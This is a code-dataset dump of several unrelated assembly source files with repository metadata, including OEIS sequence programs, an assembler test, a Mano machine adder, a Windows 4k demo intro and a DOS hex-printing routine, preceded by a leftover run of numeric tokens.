32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
35.064171
2,999
0.65533
d71c5aa837cddfb36ef7a1ae7860f0829fe532f9
119
asm
Assembly
tests/expr_asm_value/12.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
414
2016-10-14T22:39:20.000Z
2022-03-30T07:52:44.000Z
tests/expr_asm_value/12.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
100
2018-03-22T16:12:24.000Z
2022-03-26T09:19:23.000Z
tests/expr_asm_value/12.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
47
2017-06-29T15:12:13.000Z
2022-03-10T04:50:51.000Z
; inner error #ruledef { emit {x} => x test {x} => asm { emit x } } test 12 ; error: failed / error:_:5: infer
14.875
42
0.546218
cce97cfacef119d8d6a7e51686bfbfe89022c3a8
1,715
asm
Assembly
programs/oeis/144/A144314.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/144/A144314.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/144/A144314.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A144314: a(n) = 3*n*(6*n+1). ; 0,21,78,171,300,465,666,903,1176,1485,1830,2211,2628,3081,3570,4095,4656,5253,5886,6555,7260,8001,8778,9591,10440,11325,12246,13203,14196,15225,16290,17391,18528,19701,20910,22155,23436,24753,26106,27495,28920,30381,31878,33411,34980,36585,38226,39903,41616,43365,45150,46971,48828,50721,52650,54615,56616,58653,60726,62835,64980,67161,69378,71631,73920,76245,78606,81003,83436,85905,88410,90951,93528,96141,98790,101475,104196,106953,109746,112575,115440,118341,121278,124251,127260,130305,133386,136503,139656,142845,146070,149331,152628,155961,159330,162735,166176,169653,173166,176715,180300,183921,187578,191271,195000,198765,202566,206403,210276,214185,218130,222111,226128,230181,234270,238395,242556,246753,250986,255255,259560,263901,268278,272691,277140,281625,286146,290703,295296,299925,304590,309291,314028,318801,323610,328455,333336,338253,343206,348195,353220,358281,363378,368511,373680,378885,384126,389403,394716,400065,405450,410871,416328,421821,427350,432915,438516,444153,449826,455535,461280,467061,472878,478731,484620,490545,496506,502503,508536,514605,520710,526851,533028,539241,545490,551775,558096,564453,570846,577275,583740,590241,596778,603351,609960,616605,623286,630003,636756,643545,650370,657231,664128,671061,678030,685035,692076,699153,706266,713415,720600,727821,735078,742371,749700,757065,764466,771903,779376,786885,794430,802011,809628,817281,824970,832695,840456,848253,856086,863955,871860,879801,887778,895791,903840,911925,920046,928203,936396,944625,952890,961191,969528,977901,986310,994755,1003236,1011753,1020306,1028895,1037520,1046181,1054878,1063611,1072380,1081185,1090026,1098903,1107816,1116765 mul $0,6 sub $1,$0 bin $1,2
245
1,654
0.834985
a465284b158e23c095bba2164d421145a1128029
322
asm
Assembly
mano-machine-assembler/add_10_numbers.asm
ahodieb/course-projects
49a7859864e660d2b32d16b42c2978cf9d778dff
[ "MIT" ]
null
null
null
mano-machine-assembler/add_10_numbers.asm
ahodieb/course-projects
49a7859864e660d2b32d16b42c2978cf9d778dff
[ "MIT" ]
null
null
null
mano-machine-assembler/add_10_numbers.asm
ahodieb/course-projects
49a7859864e660d2b32d16b42c2978cf9d778dff
[ "MIT" ]
4
2020-01-01T22:19:49.000Z
2021-11-07T21:21:53.000Z
ORG 100 /Origin of program is HEX 100 LDA ADS STA PTR CLZ,CLA LOP,ADD PTR I ISZ PTR ISZ CTR BUN LOP STA SUM HLT ADS,HEX 150 PTR,HEX 0 NBR,DEC -10 / 10 operands CTR,HEX 0 SUM,HEX 0 ORG 150 DTA,DEC 75 /just for testing DTA,DEC 30 DEC 50 DEC 40 DEC 10 DEC 33 DEC 53 DEC 22 DEC 94 DEC 55 END
11.5
40
0.65528
1ca74ba2bddd065e00e22e3fa1e0ab7905f8566a
10
asm
Assembly
src/main/fragment/mos6502-common/vbuyy=_byte3_vdum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuyy=_byte3_vdum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuyy=_byte3_vdum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
ldy {m1}+3
10
10
0.6
c64e77da2090240af00ca89b0e7d8fad3d7bb8da
729
asm
Assembly
oeis/203/A203162.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/203/A203162.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/203/A203162.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A203162: (n-1)-st elementary symmetric function of the first n terms of (1,2,3,1,2,3,1,2,3,...). ; Submitted by Christian Krause ; 1,3,11,17,40,132,168,372,1188,1404,3024,9504,10800,22896,71280,79056,165888,513216,559872,1166400,3592512,3872448,8024832,24634368,26313984,54307584,166281984,176359680,362797056,1108546560,1169012736,2398491648,7316407296,7679204352,15721205760,47889211392,50065993728,102308769792,311279874048,324340568064,661741830144,2011346878464,2089711042560,4257786249216,12930087075840,13400272060416,27270729105408,82752557285376,85573667192832,173968444293120,527547552694272,544474212139008 add $0,1 mov $1,1 lpb $0 sub $0,1 add $2,1 mul $3,$2 add $3,$1 mul $1,$2 mod $2,3 lpe mov $0,$3
45.5625
488
0.792867
ac76e935f40a636c70c420036332e8fac6ad5442
5,713
asm
Assembly
intro.asm
w23/bepct4k
dd459c9b0f82e0e0ac49fd32c05632f4cc2257e9
[ "WTFPL" ]
30
2019-12-24T12:47:18.000Z
2022-03-17T18:11:20.000Z
intro.asm
w23/bepct4k
dd459c9b0f82e0e0ac49fd32c05632f4cc2257e9
[ "WTFPL" ]
15
2019-12-24T02:53:41.000Z
2020-03-11T08:31:28.000Z
intro.asm
w23/bepct4k
dd459c9b0f82e0e0ac49fd32c05632f4cc2257e9
[ "WTFPL" ]
2
2020-04-24T16:37:26.000Z
2022-03-17T18:11:26.000Z
BITS 32 WIDTH equ 1920 HEIGHT equ 1080 %ifndef DEBUG %define FULLSCREEN %define AUDIO_THREAD %define GLCHECK %else %define NO_AUDIO %macro GLCHECK 0 call glGetError test eax, eax jz %%ok int 3 %%ok: %endmacro %endif %ifndef NO_AUDIO %include "4klang.inc" extern __4klang_render@4 %else %define SAMPLE_RATE 44100 %define MAX_SAMPLES 44100*120 %define SAMPLES_PER_TICK 44100/16 %endif ;GL_TEXTURE_2D EQU 0x0de1 GL_FRAGMENT_SHADER EQU 0x8b30 ;GL_UNSIGNED_BYTE EQU 0x1401 ;GL_FLOAT EQU 0x1406 ;GL_RGBA EQU 0x1908 ;GL_LINEAR EQU 0x2601 ;GL_TEXTURE_MIN_FILTER EQU 0x2801 ;GL_RGBA16F EQU 0x881a ;GL_FRAMEBUFFER EQU 0x8d40 ;GL_COLOR_ATTACHMENT0 EQU 0x8ce0 %macro WINAPI_FUNC 2 %if 1 extern __imp__ %+ %1 %+ @ %+ %2 %define %1 [__imp__ %+ %1 %+ @ %+ %2] %else extern _ %+ %1 %+ @ %+ %2 %define %1 _ %+ %1 %+ @ %+ %2 %endif %endmacro %ifdef FULLSCREEN WINAPI_FUNC ChangeDisplaySettingsA, 8 %endif %ifdef AUDIO_THREAD WINAPI_FUNC CreateThread, 24 %endif %ifdef DEBUG WINAPI_FUNC MessageBoxA, 16 %endif WINAPI_FUNC ChoosePixelFormat, 8 WINAPI_FUNC CreateWindowExA, 48 WINAPI_FUNC ExitProcess, 4 WINAPI_FUNC GetAsyncKeyState, 4 WINAPI_FUNC GetDC, 4 WINAPI_FUNC PeekMessageA, 20 WINAPI_FUNC SetPixelFormat, 12 WINAPI_FUNC ShowCursor, 4 WINAPI_FUNC SwapBuffers, 4 WINAPI_FUNC waveOutGetPosition, 12 WINAPI_FUNC waveOutOpen, 24 WINAPI_FUNC waveOutWrite, 12 WINAPI_FUNC wglCreateContext, 4 WINAPI_FUNC wglGetProcAddress, 4 WINAPI_FUNC wglMakeCurrent, 8 ;WINAPI_FUNC glGenTextures, 8 ;WINAPI_FUNC glBindTexture, 8 ;WINAPI_FUNC glTexImage2D, 36 ;WINAPI_FUNC glTexParameteri, 12 WINAPI_FUNC glRects, 16 %ifdef DEBUG WINAPI_FUNC glGetError, 0 %endif %macro FNCALL 1-* %rep %0-1 %rotate -1 push %1 %endrep %rotate -1 call %1 %endmacro %macro GL_FUNC 1 section _ %+ %1 data align=1 %1: %defstr %[%1 %+ __str] %1 db %1 %+ __str, 0 %endmacro GL_FUNC glCreateShaderProgramv GL_FUNC glUseProgram GL_FUNC glGetUniformLocation ;GL_FUNC glUniform1i GL_FUNC glUniform1f ;GL_FUNC glGenFramebuffers ;GL_FUNC glBindFramebuffer ;GL_FUNC glFramebufferTexture2D ;GL_FUNC glUniform1fv %ifdef DEBUG GL_FUNC glGetProgramInfoLog %endif %ifdef DEBUG WNDCLASS EQU static_ %else %define WNDCLASS 0xc018 %endif %ifdef FULLSCREEN section _devmode data align=1 devmode: times 9 dd 0 db 0x9c, 0, 0, 0 db 0, 0, 0x1c, 0 times 15 dd 0 DD 020H, WIDTH, HEIGHT times 10 dd 0 %endif section _pfd data align=1 pfd: %if 0 DW 028H, 01H DD 025H DB 00H, 020H, 00H, 00H, 00H, 00H, 00H, 00H, 08H, 00H, 00H, 00H, 00H, 00H DB 00H, 020H, 00H, 00H, 00H, 00H DD 00H, 00H, 00H %else DW 00H, 00H DD 21H ;025H DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H DB 00H, 00H, 00H, 00H, 00H, 00H DD 00H, 00H, 00H %endif section _wavefmt data align=1 wavefmt: dw 3 ; wFormatTag = WAVE_FORMAT_IEEE_FLOAT dw 2 ; nChannels dd SAMPLE_RATE ; nSamplesPerSec dd SAMPLE_RATE * 4 * 2; nAvgBytesPerSec dw 4 * 2 ; nBlockAlign dw 8 * 4 ; wBitsPerSample dw 0 ; cbSize section _wavehdr data align=1 wavehdr: dd sound_buffer ; lpData dd MAX_SAMPLES * 2 * 4 ; dwBufferLength times 2 dd 0 ; unused stuff dd 2 ; dwFlags WHDR_PREPARED = 0x00000002 times 4 dd 0 ; unused stuff wavehdr_size EQU ($ - wavehdr) section _mmtime bss align=1 mmtime: resb 12 section _waveout bss align=1 waveout: resd 8 section _sndbuf bss align=1 tmp: sound_buffer: resd MAX_SAMPLES * 2 %ifdef DEBUG section _infolog bss align=1 infolog: resb 1024 %endif section _shader data align=1 %if 1 %include "shader.inc" %else _shader_frag: db 'uniform int t;' db 'float t = t/44100.;' db 'void main(){gl_FragColor = vec4(sin(t));}' %endif section _shdrptr data align=1 src_main: dd _shader_frag section _strings data align=1 %ifdef DEBUG static_: db "static", 0 %endif section _text text align=1 _start: %if 1 %define ZERO 0 %else %define ZERO ecx xor ZERO, ZERO %endif %ifdef FULLSCREEN FNCALL ChangeDisplaySettingsA, devmode, 4 %endif FNCALL ShowCursor, ZERO FNCALL CreateWindowExA, ZERO, WNDCLASS, ZERO, 0x90000000, ZERO, ZERO, WIDTH, HEIGHT, ZERO, ZERO, ZERO, ZERO FNCALL GetDC, eax mov ebp, eax ; ebp = HDC FNCALL ChoosePixelFormat, ebp, pfd FNCALL SetPixelFormat, ebp, eax, pfd FNCALL wglCreateContext, ebp FNCALL wglMakeCurrent, ebp, eax GLCHECK %ifndef NO_AUDIO %ifdef AUDIO_THREAD FNCALL CreateThread, ZERO, ZERO, __4klang_render@4, sound_buffer, ZERO, ZERO %else FNCALL __4klang_render@4, sound_buffer %endif %endif FNCALL wglGetProcAddress, glCreateShaderProgramv FNCALL eax, GL_FRAGMENT_SHADER, 1, src_main %ifdef DEBUG push eax push infolog push 0 push 1023 push eax FNCALL wglGetProcAddress, glGetProgramInfoLog call eax push 0 push infolog push infolog push 0 call MessageBoxA pop eax %endif mov esi, eax FNCALL wglGetProcAddress, glUseProgram FNCALL eax, esi GLCHECK ; PLAY MUSIC FNCALL waveOutOpen, waveout, byte -1, wavefmt, ZERO, ZERO, ZERO FNCALL waveOutWrite, dword [waveout], wavehdr, wavehdr_size mainloop: ;mov ebx, esp ;mov dword [ebx], 4 FNCALL waveOutGetPosition, dword [waveout], mmtime, 12 mov ebx, dword [mmtime + 4] cmp ebx, MAX_SAMPLES * 8 jge exit push 01bH ;GetAsyncKeyState ; PeekMessageA push 1 push 0 push 0 push 0 push 0 ; SwapBuffers push ebp ; glRects push 1 push 1 push byte -1 push byte -1 push ebx fild dword [esp] push SAMPLES_PER_TICK * 8 * 4 fild dword [esp] ;mov dword [esp], SAMPLES_PER_TICK * 8 * 4 ;fidiv dword [esp] fdivp pop ebx fstp dword [esp] push _var_T push esi push glGetUniformLocation call wglGetProcAddress call eax push eax push glUniform1f call wglGetProcAddress call eax call glRects call SwapBuffers call PeekMessageA call GetAsyncKeyState jz mainloop exit: call ExitProcess
18.369775
108
0.752669
f4c311ea590f1423064c61cd4043f6773bb50052
470
asm
Assembly
programs/oeis/088/A088492.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/088/A088492.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/088/A088492.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A088492: a(2n+1)=2n+1, a(2n) = floor(2*n/A005185(n)), a weighted inverse of Hofstadter's Q-sequence. ; 2,3,4,5,3,7,2,9,3,11,3,13,2,15,3,17,3,19,3,21,3,23,3,25,3,27,3,29,3,31,3,33,3,35,3,37,3,39,3,41,3,43,3,45,3,47,3,49,3,51,3,53,3,55,3,57,3,59,3,61,3,63,3,65,3,67,3,69,3,71,3,73,3,75,3,77,3,79,3,81,3,83,3,85,3,87 mov $1,$0 div $1,2 mov $2,$0 sub $0,$1 mov $3,$1 add $3,$0 lpb $1,1 add $6,$2 mov $$2,$$0 sub $1,$6 bin $2,$3 add $1,$2 lpe mov $1,$2 add $1,2
24.736842
212
0.570213
a7d5339fe7b7ca580839d392ad5b57122afc723a
612
asm
Assembly
lab2-3/ascii.asm
Winterpuma/bmstu_MDPL
28fb1f93e5ce4321c98ff6cf1b997972a48724ee
[ "MIT" ]
14
2019-02-25T11:09:12.000Z
2022-03-12T23:29:11.000Z
lab2-3/ascii.asm
Winterpuma/bmstu_MDPL
28fb1f93e5ce4321c98ff6cf1b997972a48724ee
[ "MIT" ]
null
null
null
lab2-3/ascii.asm
Winterpuma/bmstu_MDPL
28fb1f93e5ce4321c98ff6cf1b997972a48724ee
[ "MIT" ]
null
null
null
SSEG SEGMENT PARA STACK 'STACK' DB 64 DUP(0) SSEG ENDS DSEG SEGMENT PARA 'DATA' ; DATA DSEG ENDS CSEG SEGMENT PARA 'CODE' ASSUME CS:CSEG, DS:DSEG, SS:SSEG OUTPUT PROC CMP DL, 9 JA M1 ADD DL, '0' ; if dec digit JMP M2 M1: ADD DL, 'A' ; if hex digit SUB DL, 10 ; minus offset M2: MOV AH, 2 INT 21H RET OUTPUT ENDP START PROC FAR MOV AH,7 INT 21H MOV DL, AL MOV CL, 4 SHR DL, CL ; shift by 4 bytes to get first digit MOV BL, AL ; after outputing dl al will change CALL OUTPUT MOV DL, BL AND DL, 00001111B ; last digit CALL OUTPUT MOV AH,4CH INT 21H START ENDP CSEG ENDS END START
14.232558
49
0.678105